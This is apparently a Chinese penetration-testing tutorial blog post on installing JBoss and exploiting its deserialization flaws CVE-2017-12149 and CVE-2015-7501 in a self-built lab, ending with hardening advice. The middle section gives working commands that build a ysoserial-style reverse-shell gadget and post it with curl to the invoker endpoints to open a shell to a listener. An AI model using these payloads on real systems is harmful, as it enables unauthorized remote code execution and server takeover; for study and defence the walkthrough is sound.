系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Jboss简介、JBoss安装、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)等渗透操作等,最后远程代码执行控制服务器等操作,如果连JBoss都不会安装操作提权等,怎么进行下一步的研究JBoss安全!怎么拿下对方服务器?
二、Jboss简介
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
默认端口:
8080、9990
三、JBoss安装
下载地址:
https://jbossas.jboss.org/downloads/
1、安装JDK
JBoss前提要安装Java环境,这里根据前几期也提过很多次安装方法了,这里就简写了,想非常详细的看前几期内容即可!
2、下载并安装JBoss
(1)下载jboss-6.1.0.Final:
(2)新建环境变量:
JBOSS_HOME 值为:C:\jboss-6.1.0.Final
在path中加入:
;%JBOSS_HOME%\bin;
(3)打开C:\jboss-6.1.0.Final\bin
双击run.bat
:
出现info消息,即配置成功!!
(4)谨记
注意JDK版本要在1.6~1.7之间,1.8版本 jBoss运行打开JMX Console会出现500错误:
jboss默认部署路径:
C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
(5)设置外网访问
将C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml修改配置:将address=”${jboss.bind.address}” 设置为address=”0.0.0.0”
并重启JBoss:关闭run.bat重新打开即可!
这时候就成功安装好了JBoss!
四、JBoss渗透
1、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)!
影响范围:JBoss 5.x/6.x
1)验证是否存在漏洞
访问 /invoker/readonly:
返回500,说明页面存在,此页面存在反序列化漏洞。
2)配置javac环境
首先找到JDK目录:
然后运行CMD窗口输入:
set JAVA_HOME=C:\Program Files\Java\jdk1.7.0_80
set classpath=C:\Program Files\Java\jdk1.7.0_80\lib\tools.jar;C:\Program Files\Java\jdk1.7.0_80\lib\dt.jar;
set path=C:\Program Files\Java\jdk1.7.0_80\bin;
windows但是报错了!!
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
配置好了java环境,为了是后期开启java监听。
3)漏洞利用
利用工具:JavaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:
(1)生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
(2)生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888(ip是nc所在的ip)
(3)利用…Map.ser:
curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功获得反弹shell控制对方系统!
2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化!
漏洞影响:
Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。
1)验证漏洞
访问 /invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
2)漏洞利用
这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet
接口中:
curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功获得反弹shell控制对方系统!
3)修复建议
(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404.
(2)或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
<url-pattern>/*</url-pattern>
路径为:
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF
有攻就有防,带给大家不同的思路和底层代码的见解,加油小伙伴们!
五、总结
今天学到了Jboss简介、JBoss安装、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)等漏洞,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)…
接下来在《服务攻防之中间件JBoss(中)》会接触到如何进行JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)、Administration Console 弱口令、低版本JMX Console未授权访问等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件nginx篇中章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余